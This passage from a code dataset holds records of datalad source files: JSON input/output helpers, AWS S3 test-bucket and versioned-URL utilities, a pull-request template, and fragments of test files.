Parameter(doc=doc)\\n assert_equal('%s\\\\n %s.' % (pname, doc), p.get_autodoc('testname'))\\n # constraints\\n p = Parameter(doc=doc, constraints=cnstr.EnsureInt() | cnstr.EnsureStr())\\n autodoc = p.get_autodoc('testname')\\n assert_true('int or str' in autodoc)\\n\\n with assert_raises(ValueError) as cmr:\\n Parameter(unknown_arg=123)\\n assert_in('Detected unknown argument(s) for the Parameter: unknown_arg',\\n str(cmr.value))\\n\\n\\ndef test_interface():\\n di = Demo()\\n\\n import argparse\\n parser = argparse.ArgumentParser()\\n\\n from datalad.cli.parser import setup_parser_for_interface\\n setup_parser_for_interface(parser, di)\\n with swallow_outputs() as cmo:\\n assert_equal(parser.print_help(), None)\\n assert(cmo.out)\\n assert_equal(cmo.err, '')\\n args = parser.parse_args(['42', '11', '1', '2', '--demoarg', '23'])\\n assert_is(args.demoarg, 23)\\n assert_equal(args.demoposarg, [42, 11])\\n assert_equal(args.demooptposarg1, 1)\\n assert_equal(args.demooptposarg2, 2)\\n\\n # wrong type\\n with swallow_outputs() as cmo:\\n assert_raises(SystemExit, parser.parse_args, ['--demoarg', 'abc'])\\n # that is what we dump upon folks atm. TODO: improve reporting of illspecified options\\n assert_re_in(\\\".*invalid constraint:int value:.*\\\",\\n cmo.err, re.DOTALL)\\n\\n # missing argument to option\\n with swallow_outputs() as cmo:\\n assert_raises(SystemExit, parser.parse_args, ['--demoarg'])\\n assert_re_in(\\\".*--demoarg: expected one argument\\\", cmo.err, re.DOTALL)\\n\\n # missing positional argument\\n with swallow_outputs() as cmo:\\n assert_raises(SystemExit, parser.parse_args, [''])\\n # PY2|PY3\\n assert_re_in(\\\".*error: (too few arguments|the following arguments are required: demoposarg)\\\",\\n cmo.err, re.DOTALL)\\n\\n\\ndef test_name_generation():\\n assert_equal(\\n get_api_name((\\\"some.module\\\", \\\"SomeClass\\\")),\\n 'module')\\n assert_equal(\\n get_api_name((\\\"some.module\\\", \\\"SomeClass\\\", \\\"cmdline-override\\\")),\\n 'module')\\n assert_equal(\\n get_api_name((\\\"some.module\\\",\\n \\\"SomeClass\\\",\\n \\\"cmdline_override\\\",\\n \\\"api_override-dont-touch\\\")),\\n \\\"api_override-dont-touch\\\")\\n\"\n },\n {\n \"alpha_fraction\": 0.580012857913971,\n \"alphanum_fraction\": 0.5838689208030701,\n \"avg_line_length\": 27.290908813476562,\n \"blob_id\": \"5c6d4cfee42d6fddf67bfbb410071e691aa72d1a\",\n \"content_id\": \"16254166d7dd9bc971a1ee61f713f3583ff6dba2\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 6224,\n \"license_type\": \"permissive\",\n \"max_line_length\": 87,\n \"num_lines\": 220,\n \"path\": \"/datalad/support/json_py.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"Simple wrappers to get uniform JSON input and output\\n\\\"\\\"\\\"\\n\\n\\nimport io\\nimport codecs\\nfrom os.path import (\\n dirname,\\n exists,\\n lexists,\\n)\\nfrom os import makedirs\\nimport os\\nimport os.path as op\\nimport json\\n\\nfrom datalad.support.exceptions import CapturedException\\n\\n\\n# produce relatively compact, but also diff-friendly format\\njson_dump_kwargs = dict(\\n indent=0,\\n separators=(',', ':\\\\n'),\\n sort_keys=True,\\n ensure_ascii=False,)\\n\\n# achieve minimal representation, but still deterministic\\ncompressed_json_dump_kwargs = dict(\\n json_dump_kwargs,\\n indent=None,\\n separators=(',', ':'))\\n\\n\\n# Let's just reuse top level one for now\\nfrom ..log import lgr\\n\\n\\ndef dump(obj, fname, compressed=False):\\n \\\"\\\"\\\"Dump a JSON-serializable objects into a file\\n\\n Parameters\\n ----------\\n obj : object\\n Structure to serialize.\\n fname : str\\n Name of the file to dump into.\\n compressed : bool\\n Flag whether to use LZMA compression for file content.\\n \\\"\\\"\\\"\\n\\n _open = LZMAFile if compressed else io.open\\n\\n indir = dirname(fname)\\n if not exists(indir):\\n makedirs(indir)\\n if lexists(fname):\\n os.unlink(fname)\\n with _open(fname, 'wb') as f:\\n return dump2fileobj(\\n obj,\\n f,\\n **(compressed_json_dump_kwargs if compressed else json_dump_kwargs)\\n )\\n\\n\\ndef dump2fileobj(obj, fileobj, **kwargs):\\n \\\"\\\"\\\"Dump a JSON-serializable objects into a file-like\\n\\n Parameters\\n ----------\\n obj : object\\n Structure to serialize.\\n fileobj : file\\n Writeable file-like object to dump into.\\n **kwargs\\n Keyword arguments to be passed on to simplejson.dump()\\n \\\"\\\"\\\"\\n return json.dump(\\n obj,\\n codecs.getwriter('utf-8')(fileobj),\\n **kwargs)\\n\\n\\ndef LZMAFile(*args, **kwargs):\\n \\\"\\\"\\\"A little decorator to overcome a bug in lzma\\n\\n A unique to yoh and some others bug with pyliblzma\\n calling dir() helps to avoid AttributeError __exit__\\n see https://bugs.launchpad.net/pyliblzma/+bug/1219296\\n \\\"\\\"\\\"\\n import lzma\\n lzmafile = lzma.LZMAFile(*args, **kwargs)\\n dir(lzmafile)\\n return lzmafile\\n\\n\\ndef dump2stream(obj, fname, compressed=False):\\n\\n _open = LZMAFile if compressed else open\\n\\n indir = dirname(fname)\\n\\n if op.lexists(fname):\\n os.remove(fname)\\n elif indir and not exists(indir):\\n makedirs(indir)\\n with _open(fname, mode='wb') as f:\\n jwriter = codecs.getwriter('utf-8')(f)\\n for o in obj:\\n json.dump(o, jwriter, **compressed_json_dump_kwargs)\\n f.write(b'\\\\n')\\n\\n\\ndef dump2xzstream(obj, fname):\\n dump2stream(obj, fname, compressed=True)\\n\\n\\ndef load_stream(fname, compressed=None):\\n with _suitable_open(fname, compressed)(fname, mode='rb') as f:\\n jreader = codecs.getreader('utf-8')(f)\\n cont_line = u''\\n for line in jreader:\\n if not line.endswith('\\\\n'):\\n cont_line += line\\n continue\\n if cont_line:\\n cont_line += line\\n else:\\n cont_line = line\\n yield loads(cont_line)\\n cont_line = u''\\n if cont_line: # The last line didn't end with a new line.\\n yield loads(cont_line)\\n\\n\\ndef loads(s, *args, **kwargs):\\n \\\"\\\"\\\"Helper to log actual value which failed to be parsed\\\"\\\"\\\"\\n try:\\n return json.loads(s, *args, **kwargs)\\n except:\\n lgr.error(\\n \\\"Failed to load content from %r with args=%r kwargs=%r\\\"\\n % (s, args, kwargs)\\n )\\n raise\\n\\n\\ndef load(fname, fixup=True, compressed=None, **kw):\\n \\\"\\\"\\\"Load JSON from a file, possibly fixing it up if initial load attempt fails\\n\\n Parameters\\n ----------\\n fixup : bool\\n In case of failed load, apply a set of fixups with hope to resolve issues\\n in JSON\\n compressed : bool or None\\n Flag whether to treat the file as XZ compressed. If None, this decision\\n is made automatically based on the presence of a '.xz' extension in the\\n filename\\n **kw\\n Passed into the load (and loads after fixups) function\\n \\\"\\\"\\\"\\n with _suitable_open(fname, compressed)(fname, 'rb') as f:\\n try:\\n jreader = codecs.getreader('utf-8')(f)\\n return json.load(jreader, **kw)\\n except json.JSONDecodeError as exc:\\n if not fixup:\\n raise\\n ce = CapturedException(exc)\\n lgr.warning(\\n \\\"Failed to decode content in %s: %s. Trying few tricks\\\",\\n fname, ce)\\n\\n # Load entire content and replace common \\\"abusers\\\" which break JSON\\n # comprehension but in general\\n # are Ok\\n with _suitable_open(fname)(fname,'rb') as f:\\n s_orig = s = codecs.getreader('utf-8')(f).read()\\n\\n for o, r in {\\n u\\\"\\\\xa0\\\": \\\" \\\", # non-breaking space\\n }.items():\\n s = s.replace(o, r)\\n\\n if s == s_orig:\\n # we have done nothing, so just reraise previous exception\\n raise\\n return loads(s, **kw)\\n\\n\\ndef _suitable_open(fname, compressed=None):\\n \\\"\\\"\\\"Helper to return an appropriate open() implementation for a JSON file\\n\\n Parameters\\n ----------\\n fname: str\\n The target file name which will be inspected for a '.xz' extension when\\n compressed is None.\\n compressed: None or bool, optional\\n If not None, determined when the return function will be capable of\\n (de)compression. If None, this will be guessed from the file name.\\n\\n Returns\\n -------\\n LZMAFile or io.open\\n LZMAFile is returned when (de)compression is requested, or the file name\\n suggests a compressed file.\\n \\\"\\\"\\\"\\n return LZMAFile \\\\\\n if compressed or compressed is None and fname.endswith('.xz') \\\\\\n else io.open\\n\"\n },\n {\n \"alpha_fraction\": 0.7328159809112549,\n \"alphanum_fraction\": 0.7328159809112549,\n \"avg_line_length\": 74.16666412353516,\n \"blob_id\": \"6f0a4ff5ccbb62991a0154ab0358b135b309d878\",\n \"content_id\": \"3bffa87936b573800dbabce14ace38eded49f0be\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": true,\n \"language\": \"Markdown\",\n \"length_bytes\": 902,\n \"license_type\": \"permissive\",\n \"max_line_length\": 141,\n \"num_lines\": 12,\n \"path\": \"/.github/PULL_REQUEST_TEMPLATE.md\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"### PR checklist\\n\\n- [ ] Provide an overview of the changes you're making and explain why you're proposing them.\\n- [ ] Create a changelog snippet (add the `CHANGELOG-missing` label to this pull request in order to have a snippet generated from its title;\\n or use `scriv create` locally and include the generated file in the pull request, see [scriv](https://scriv.readthedocs.io/)).\\n- [ ] Include `Fixes #NNN` somewhere in the description and `scriv` changelog entry if this PR addresses an existing issue.\\n- [ ] If this PR is not complete, select \\\"Create Draft Pull Request\\\" in the pull request button's menu.\\n Consider using a task list (e.g., `- [ ] add tests ...`) to indicate remaining to-do items.\\n- [ ] If you would like to list yourself as a DataLad contributor and your name is not mentioned please modify .zenodo.json file.\\n- [ ] **Delete these instructions**. :-)\\n\\nThanks for contributing!\\n\"\n },\n {\n \"alpha_fraction\": 0.6020413041114807,\n \"alphanum_fraction\": 0.6111363768577576,\n \"avg_line_length\": 34.15275192260742,\n \"blob_id\": \"a20fc7fa7dd0bb61b251745e90f94174dc1ec346\",\n \"content_id\": \"f0c00426ea4ae3a71dd51e54f82728f58735eb9f\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 19803,\n \"license_type\": \"permissive\",\n \"max_line_length\": 141,\n \"num_lines\": 563,\n \"path\": \"/datalad/support/s3.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; indent-tabs-mode: nil; coding: utf-8 -*-\\n# vi: set ft=python sts=4 ts=4 sw=4 et:\\n### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##g\\n\\\"\\\"\\\"Variety of helpers to deal with AWS S3\\n\\nUse as a script to generate test buckets via e.g.\\n\\n python -m datalad.support.s3 generate test1_dirs\\n\\\"\\\"\\\"\\n\\n__docformat__ = 'restructuredtext'\\n\\nimport mimetypes\\n\\nfrom os.path import splitext\\nimport re\\n\\nfrom datalad.support.network import urlquote, URL\\n\\nimport logging\\nimport datalad.log # Just to have lgr setup happen this one used a script\\nlgr = logging.getLogger('datalad.s3')\\n\\nfrom datalad.support.exceptions import (\\n CapturedException,\\n DownloadError,\\n AccessDeniedError,\\n AccessPermissionExpiredError,\\n AnonymousAccessDeniedError,\\n)\\nfrom datalad.utils import try_multiple_dec\\n\\nfrom urllib.request import urlopen, Request\\n\\n\\ntry:\\n import boto\\n from boto.s3.key import Key\\n from boto.exception import S3ResponseError\\n from boto.s3.connection import OrdinaryCallingFormat\\nexcept Exception as e:\\n if not isinstance(e, ImportError):\\n lgr.warning(\\n \\\"boto module failed to import although available: %s\\\",\\n CapturedException(e))\\n boto = Key = S3ResponseError = OrdinaryCallingFormat = None\\n\\n\\n# TODO: should become a config option and managed along with the rest\\nS3_ADMIN_CREDENTIAL = \\\"datalad-datalad-admin-s3\\\"\\nS3_TEST_CREDENTIAL = \\\"datalad-datalad-test-s3\\\"\\n\\n\\ndef _get_bucket_connection(credential):\\n # eventually we should be able to have multiple credentials associated\\n # with different resources. Thus for now just making an option which\\n # one to use\\n # do full shebang with entering credentials\\n from datalad.downloaders.credentials import AWS_S3\\n credential = AWS_S3(credential, None)\\n if not credential.is_known:\\n credential.enter_new()\\n creds = credential()\\n return boto.connect_s3(creds[\\\"key_id\\\"], creds[\\\"secret_id\\\"])\\n\\n\\ndef _handle_exception(e, bucket_name):\\n \\\"\\\"\\\"Helper to handle S3 connection exception\\\"\\\"\\\"\\n raise (\\n AccessDeniedError\\n if e.error_code == 'AccessDenied'\\n else DownloadError)(\\n \\\"Cannot connect to %s S3 bucket.\\\"\\n % (bucket_name)\\n ) from e\\n\\n\\ndef _check_S3ResponseError(e):\\n \\\"\\\"\\\"Returns True if should be retried.\\n\\n raises ... if token has expired\\\"\\\"\\\"\\n # https://docs.aws.amazon.com/AmazonS3/latest/API/ErrorResponses.html#ErrorCodeList\\n if e.status in (\\n 307, # MovedTemporarily -- DNS updates etc\\n 503, # Slow down -- too many requests, so perfect fit to sleep a bit\\n ):\\n return True\\n if e.status == 400:\\n # Generic Bad Request -- could be many things! generally -- we retry, but\\n # some times provide more directed reaction\\n # ATM, as used, many requests we send with boto might be just HEAD requests\\n # (if I got it right) and we would not receive BODY back with the detailed\\n # error_code. Then we will allow to retry until we get something we know how to\\n # handle it more specifically\\n if e.error_code == 'ExpiredToken':\\n raise AccessPermissionExpiredError(\\n \\\"Used token to access S3 has expired\\\") from e\\n elif not e.error_code:\\n lgr.log(5, \\\"Empty error_code in %s\\\", e)\\n return True\\n return False\\n\\n\\ndef try_multiple_dec_s3(func):\\n \\\"\\\"\\\"An S3 specific adapter to @try_multiple_dec\\n\\n To decorate func to try multiple times after some sleep upon encountering\\n some intermittent error from S3\\n \\\"\\\"\\\"\\n return try_multiple_dec(\\n ntrials=4,\\n duration=2.,\\n increment_type='exponential',\\n exceptions=S3ResponseError,\\n exceptions_filter=_check_S3ResponseError,\\n logger=lgr.debug,\\n )(func)\\n\\n\\ndef get_bucket(conn, bucket_name):\\n \\\"\\\"\\\"A helper to get a bucket\\n\\n Parameters\\n ----------\\n bucket_name: str\\n Name of the bucket to connect to\\n \\\"\\\"\\\"\\n try:\\n return try_multiple_dec_s3(conn.get_bucket)(bucket_name)\\n except S3ResponseError as e:\\n ce = CapturedException(e)\\n # can initially deny or error to connect to the specific bucket by name,\\n # and we would need to list which buckets are available under following\\n # credentials:\\n lgr.debug(\\\"Cannot access bucket %s by name with validation: %s\\\",\\n bucket_name, ce)\\n if conn.anon:\\n raise AnonymousAccessDeniedError(\\n \\\"Access to the bucket %s did not succeed. Requesting \\\"\\n \\\"'all buckets' for anonymous S3 connection makes \\\"\\n \\\"little sense and thus not supported.\\\" % bucket_name,\\n supported_types=['aws-s3']\\n )\\n\\n if e.reason == \\\"Forbidden\\\":\\n # Could be just HEAD call boto issues is not allowed, and we should not\\n # try to verify that bucket is \\\"reachable\\\". Just carry on\\n try:\\n return try_multiple_dec_s3(conn.get_bucket)(bucket_name, validate=False)\\n except S3ResponseError as e2:\\n lgr.debug(\\\"Cannot access bucket %s even without validation: %s\\\",\\n bucket_name, CapturedException(e2))\\n _handle_exception(e, bucket_name)\\n\\n try:\\n all_buckets = try_multiple_dec_s3(conn.get_all_buckets)()\\n all_bucket_names = [b.name for b in all_buckets]\\n lgr.debug(\\\"Found following buckets %s\\\", ', '.join(all_bucket_names))\\n if bucket_name in all_bucket_names:\\n return all_buckets[all_bucket_names.index(bucket_name)]\\n except S3ResponseError as e2:\\n lgr.debug(\\\"Cannot access all buckets: %s\\\", CapturedException(e2))\\n _handle_exception(e, 'any (originally requested %s)' % bucket_name)\\n else:\\n _handle_exception(e, bucket_name)\\n\\n\\nclass VersionedFilesPool(object):\\n \\\"\\\"\\\"Just a helper which would help to create versioned files in the bucket\\\"\\\"\\\"\\n def __init__(self, bucket):\\n self._versions = {}\\n self._bucket = bucket\\n\\n @property\\n def bucket(self):\\n return self._bucket\\n\\n def __call__(self, filename, prefix='', load=None):\\n self._versions[filename] = version = self._versions.get(filename, 0) + 1\\n version_str = \\\"version%d\\\" % version\\n # if we are to upload fresh content\\n k = Key(self._bucket)\\n k.key = filename\\n #k.set_contents_from_filename('/home/yoh/.emacs')\\n base, ext = splitext(filename)\\n #content_type = None\\n mtype = mimetypes.guess_type(filename)[0] or 'application/octet-stream'\\n headers = {'Content-Type': mtype}\\n\\n if load is None:\\n load = prefix\\n if ext == 'html':\\n load += '<html><body>%s</body></html>' % version_str\\n else:\\n load += version_str\\n\\n k.set_contents_from_string(load, headers=headers)\\n return k\\n\\n def reset_version(self, filename):\\n self._versions[filename] = 0\\n\\n\\ndef get_key_url(e, schema='http', versioned=True):\\n \\\"\\\"\\\"Generate an s3:// or http:// url given a key\\n\\n if versioned url is requested but version_id is None, no versionId suffix\\n will be added\\n \\\"\\\"\\\"\\n # TODO: here we would need to encode the name since urlquote actually\\n # can't do that on its own... but then we should get a copy of the thing\\n # so we could still do the .format....\\n # ... = e.name.encode('utf-8') # unicode isn't advised in URLs\\n e.name_urlquoted = urlquote(e.name)\\n if schema == 'http':\\n fmt = \\\"http://{e.bucket.name}.s3.amazonaws.com/{e.name_urlquoted}\\\"\\n elif schema == 's3':\\n fmt = \\\"s3://{e.bucket.name}/{e.name_urlquoted}\\\"\\n else:\\n raise ValueError(schema)\\n if versioned and e.version_id is not None:\\n fmt += \\\"?versionId={e.version_id}\\\"\\n return fmt.format(e=e)\\n\\n\\ndef prune_and_delete_bucket(bucket):\\n \\\"\\\"\\\"Deletes all the content and then deletes bucket\\n\\n Should be used with care -- no confirmation requested\\n \\\"\\\"\\\"\\n bucket.delete_keys(bucket.list_versions(''))\\n # this one doesn't work since it generates DeleteMarkers instead ;)\\n #for key in b.list_versions(''):\\n # b.delete_key(key)\\n bucket.delete()\\n lgr.info(\\\"Bucket %s was removed\\\", bucket.name)\\n\\n\\ndef set_bucket_public_access_policy(bucket):\\n # we need to enable permissions for making content available\\n bucket.set_policy(\\\"\\\"\\\"{\\n \\\"Version\\\":\\\"2012-10-17\\\",\\n \\\"Statement\\\":[{\\n \\\"Sid\\\":\\\"AddPerm\\\",\\n \\\"Effect\\\":\\\"Allow\\\",\\n \\\"Principal\\\": \\\"*\\\",\\n \\\"Action\\\":[\\\"s3:GetObject\\\", \\\"s3:GetObjectVersion\\\", \\\"s3:GetObjectTorrent\\\", \\\"s3:GetObjectVersionTorrent\\\"],\\n \\\"Resource\\\":[\\\"arn:aws:s3:::%s/*\\\"]\\n }\\n ]\\n }\\\"\\\"\\\" % bucket.name)\\n\\n\\ndef gen_test_bucket(bucket_name):\\n conn = _get_bucket_connection(S3_ADMIN_CREDENTIAL)\\n # assure we have none\\n try:\\n bucket = conn.get_bucket(bucket_name)\\n lgr.info(\\\"Deleting existing bucket %s\\\", bucket.name)\\n prune_and_delete_bucket(bucket)\\n except: # MIH: MemoryError?\\n # so nothing to worry about\\n pass\\n finally:\\n pass\\n\\n return conn.create_bucket(bucket_name)\\n\\n\\ndef _gen_bucket_test0(bucket_name=\\\"datalad-test0\\\", versioned=True):\\n\\n bucket = gen_test_bucket(bucket_name)\\n\\n # Enable web access to that bucket to everyone\\n bucket.configure_website('index.html')\\n set_bucket_public_access_policy(bucket)\\n\\n files = VersionedFilesPool(bucket)\\n\\n files(\\\"1version-nonversioned1.txt\\\")\\n files(\\\"2versions-nonversioned1.txt\\\")\\n\\n if versioned:\\n # make bucket versioned AFTER we uploaded one file already\\n bucket.configure_versioning(True)\\n\\n files(\\\"2versions-nonversioned1.txt\\\")\\n files(\\\"2versions-nonversioned1.txt_sameprefix\\\")\\n for v in range(3):\\n files(\\\"3versions-allversioned.txt\\\")\\n files(\\\"3versions-allversioned.txt_sameprefix\\\") # to test possible problems\\n\\n # File which was created and then removed\\n bucket.delete_key(files(\\\"1version-removed.txt\\\"))\\n\\n # File which was created/removed/recreated (with new content)\\n bucket.delete_key(files(\\\"2versions-removed-recreated.txt\\\"))\\n files(\\\"2versions-removed-recreated.txt\\\")\\n files(\\\"2versions-removed-recreated.txt_sameprefix\\\")\\n\\n # File which was created/removed/recreated (with new content)\\n f = \\\"1version-removed-recreated.txt\\\"\\n bucket.delete_key(files(f))\\n files.reset_version(f)\\n files(f)\\n lgr.info(\\\"Bucket %s was generated and populated\\\", bucket_name)\\n\\n return bucket\\n\\n\\ndef gen_bucket_test0_versioned():\\n return _gen_bucket_test0('datalad-test0-versioned', versioned=True)\\n\\n\\ndef gen_bucket_test0_nonversioned():\\n return _gen_bucket_test0('datalad-test0-nonversioned', versioned=False)\\n\\n\\ndef gen_bucket_test1_dirs():\\n bucket_name = 'datalad-test1-dirs-versioned'\\n bucket = gen_test_bucket(bucket_name)\\n bucket.configure_versioning(True)\\n\\n # Enable web access to that bucket to everyone\\n bucket.configure_website('index.html')\\n set_bucket_public_access_policy(bucket)\\n\\n files = VersionedFilesPool(bucket)\\n\\n files(\\\"d1\\\", load=\\\"\\\") # creating an empty file\\n # then we would like to remove that d1 as a file and make a directory out of it\\n files(\\\"d1/file1.txt\\\")\\n # and then delete it and place it back\\n files(\\\"d1\\\", load=\\\"smth\\\")\\n\\n\\ndef gen_bucket_test2_obscurenames_versioned():\\n # in principle bucket name could also contain ., but boto doesn't digest it\\n # well\\n bucket_name = 'datalad-test2-obscurenames-versioned'\\n bucket = gen_test_bucket(bucket_name)\\n bucket.configure_versioning(True)\\n\\n # Enable web access to that bucket to everyone\\n bucket.configure_website('index.html')\\n set_bucket_public_access_policy(bucket)\\n\\n files = VersionedFilesPool(bucket)\\n\\n # http://docs.aws.amazon.com/AmazonS3/latest/dev/UsingMetadata.html\\n files(\\\"f 1\\\", load=\\\"\\\")\\n files(\\\"f [1][2]\\\")\\n # Need to grow up for this .... TODO\\n #files(u\\\"юникод\\\")\\n #files(u\\\"юни/код\\\")\\n # all fancy ones at once\\n files(\\\"f!-_.*'( )\\\")\\n # the super-fancy which aren't guaranteed to be good idea (as well as [] above)\\n files(\\\"f &$=@:+,?;\\\")\\n\\n\\ndef gen_bucket_test1_manydirs():\\n # to test crawling with flexible subdatasets making decisions\\n bucket_name = 'datalad-test1-manydirs-versioned'\\n bucket = gen_test_bucket(bucket_name)\\n bucket.configure_versioning(True)\\n\\n # Enable web access to that bucket to everyone\\n bucket.configure_website('index.html')\\n set_bucket_public_access_policy(bucket)\\n\\n files = VersionedFilesPool(bucket)\\n\\n files(\\\"d1\\\", load=\\\"\\\") # creating an empty file\\n # then we would like to remove that d1 as a file and make a directory out of it\\n files(\\\"d1/file1.txt\\\")\\n files(\\\"d1/sd1/file1.txt\\\")\\n files(\\\"d1/sd2/file3.txt\\\", load=\\\"a\\\")\\n files(\\\"d1/sd2/ssd1/file4.txt\\\")\\n files(\\\"d2/file1.txt\\\")\\n files(\\\"d2/sd1/file1.txt\\\")\\n files(\\\"d2/sd1/ssd/sssd/file1.txt\\\")\\n\\n\\ndef add_version_to_url(url, version, replace=False):\\n \\\"\\\"\\\"Add a version ID to `url`.\\n\\n Parameters\\n ----------\\n url : datalad.support.network.URL\\n A URL.\\n version : str\\n The value of 'versionId='.\\n replace : boolean, optional\\n If a versionID is already present in `url`, replace it.\\n\\n Returns\\n -------\\n A versioned URL (str)\\n \\\"\\\"\\\"\\n version_id = \\\"versionId={}\\\".format(version)\\n if not url.query:\\n query = version_id\\n else:\\n ver_match = re.match(\\\"(?P<pre>.*&)?\\\"\\n \\\"(?P<vers>versionId=[^&]+)\\\"\\n \\\"(?P<post>&.*)?\\\",\\n url.query)\\n if ver_match:\\n if replace:\\n query = \\\"\\\".join([ver_match.group(\\\"pre\\\") or \\\"\\\",\\n version_id,\\n ver_match.group(\\\"post\\\") or \\\"\\\"])\\n else:\\n query = url.query\\n else:\\n query = url.query + \\\"&\\\" + version_id\\n return URL(**dict(url.fields, query=query)).as_str()\\n\\n\\ndef get_versioned_url(url, guarantee_versioned=False, return_all=False, verify=False,\\n s3conn=None, update=False):\\n \\\"\\\"\\\"Given a url return a versioned URL\\n\\n Originally targeting AWS S3 buckets with versioning enabled\\n\\n Parameters\\n ----------\\n url : string\\n guarantee_versioned : bool, optional\\n Would fail if buckets is determined to have no versioning enabled.\\n It will not fail if we fail to determine if bucket is versioned or\\n not\\n return_all: bool, optional\\n If True, would return a list with URLs for all the versions of this\\n file, sorted chronologically with latest first (when possible, e.g.\\n for S3). Remove markers get ignored\\n verify: bool, optional\\n Verify that URL is accessible. As discovered some versioned keys might\\n be denied access to\\n update : bool, optional\\n If the URL already contains a version ID, update it to the latest version\\n ID. This option has no effect if return_all is true.\\n\\n Returns\\n -------\\n string or list of string\\n \\\"\\\"\\\"\\n url_rec = URL(url)\\n\\n s3_bucket, fpath = None, url_rec.path.lstrip('/')\\n\\n was_versioned = False\\n all_versions = []\\n\\n if url_rec.hostname.endswith('.s3.amazonaws.com'):\\n if url_rec.scheme not in ('http', 'https'):\\n raise ValueError(\\\"Do not know how to handle %s scheme\\\" % url_rec.scheme)\\n # bucket name could have . in it, e.g. openneuro.org\\n s3_bucket = url_rec.hostname[:-len('.s3.amazonaws.com')]\\n elif url_rec.hostname == 's3.amazonaws.com':\\n if url_rec.scheme not in ('http', 'https'):\\n raise ValueError(\\\"Do not know how to handle %s scheme\\\" % url_rec.scheme)\\n # url is s3.amazonaws.com/bucket/PATH\\n s3_bucket, fpath = fpath.split('/', 1)\\n elif url_rec.scheme == 's3':\\n s3_bucket = url_rec.hostname # must be\\n if url_rec.query and 'versionId=' in url_rec.query:\\n was_versioned = True\\n all_versions.append(url)\\n else:\\n # and for now implement magical conversion to URL\\n # TODO: wouldn't work if needs special permissions etc\\n # actually for now\\n raise NotImplementedError\\n\\n if s3_bucket:\\n # TODO: cache\\n if s3conn is None:\\n # we need to reuse our providers\\n from ..downloaders.providers import Providers\\n providers = Providers.from_config_files()\\n s3url = \\\"s3://%s/\\\" % s3_bucket\\n s3provider = providers.get_provider(s3url)\\n authenticator = s3provider.authenticator\\n if not authenticator:\\n # We will use anonymous one\\n from ..downloaders.s3 import S3Authenticator\\n authenticator = S3Authenticator()\\n if authenticator.bucket is not None and authenticator.bucket.name == s3_bucket:\\n # we have established connection before, so let's just reuse\\n bucket = authenticator.bucket\\n else:\\n bucket = authenticator.authenticate(s3_bucket, s3provider.credential) # s3conn or _get_bucket_connection(S3_TEST_CREDENTIAL)\\n else:\\n bucket = s3conn.get_bucket(s3_bucket)\\n\\n supports_versioning = True # assume that it does\\n try:\\n supports_versioning = bucket.get_versioning_status() # TODO cache\\n except S3ResponseError as e:\\n # might be forbidden, i.e. \\\"403 Forbidden\\\" so we try then anyways\\n supports_versioning = 'maybe'\\n\\n if supports_versioning:\\n all_keys = bucket.list_versions(fpath)\\n # Filter and sort them so the newest one on top\\n all_keys = [x for x in sorted(all_keys, key=lambda x: (x.last_modified, x.is_latest))\\n if ((x.name == fpath) # match exact name, not just prefix\\n )\\n ][::-1]\\n # our current assumptions\\n assert(all_keys[0].is_latest)\\n # and now filter out delete markers etc\\n all_keys = [x for x in all_keys if isinstance(x, Key)] # ignore DeleteMarkers\\n assert(all_keys)\\n\\n for key in all_keys:\\n url_versioned = add_version_to_url(\\n url_rec, key.version_id, replace=update and not return_all)\\n\\n all_versions.append(url_versioned)\\n if verify:\\n # it would throw HTTPError exception if not accessible\\n _ = urlopen(Request(url_versioned))\\n was_versioned = True\\n if not return_all:\\n break\\n\\n if guarantee_versioned and not was_versioned:\\n raise RuntimeError(\\\"Could not version %s\\\" % url)\\n\\n if not all_versions:\\n # we didn't get a chance\\n all_versions = [url_rec.as_str()]\\n\\n if return_all:\\n return all_versions\\n else:\\n return all_versions[0]\\n\\n\\nif __name__ == '__main__':\\n import sys\\n lgr.setLevel(logging.INFO)\\n # TODO: proper cmdline\\n if len(sys.argv) > 1 and sys.argv[1] == \\\"generate\\\":\\n if len(sys.argv) < 3:\\n raise ValueError(\\\"Say 'all' to regenerate all, or give a generators name\\\")\\n name = sys.argv[2]\\n if name.lower() == 'all':\\n for f in locals().keys():\\n if f.startswith('gen_bucket_'):\\n locals()[f]()\\n else:\\n locals()['gen_bucket_%s' % name]()\\n else:\\n print(\\\"nothing todo\\\")\\n\"\n },\n {\n \"alpha_fraction\": 0.5759270787239075,\n \"alphanum_fraction\": 0.5970732569694519,\n \"avg_line_length\": 39.59720230102539,\n \"blob_id\": \"5169a78c2efe47fc6416415b5bd1e992fe5bfd82\",\n \"content_id\": \"a64df33fd30f98e8bc32e9cb90d9a6425dcf7b98\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 26104,\n \"license_type\": \"permissive\",\n \"max_line_length\": 146,\n \"num_lines\": 643,\n \"path\": \"/datalad/support/tests/test_network.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 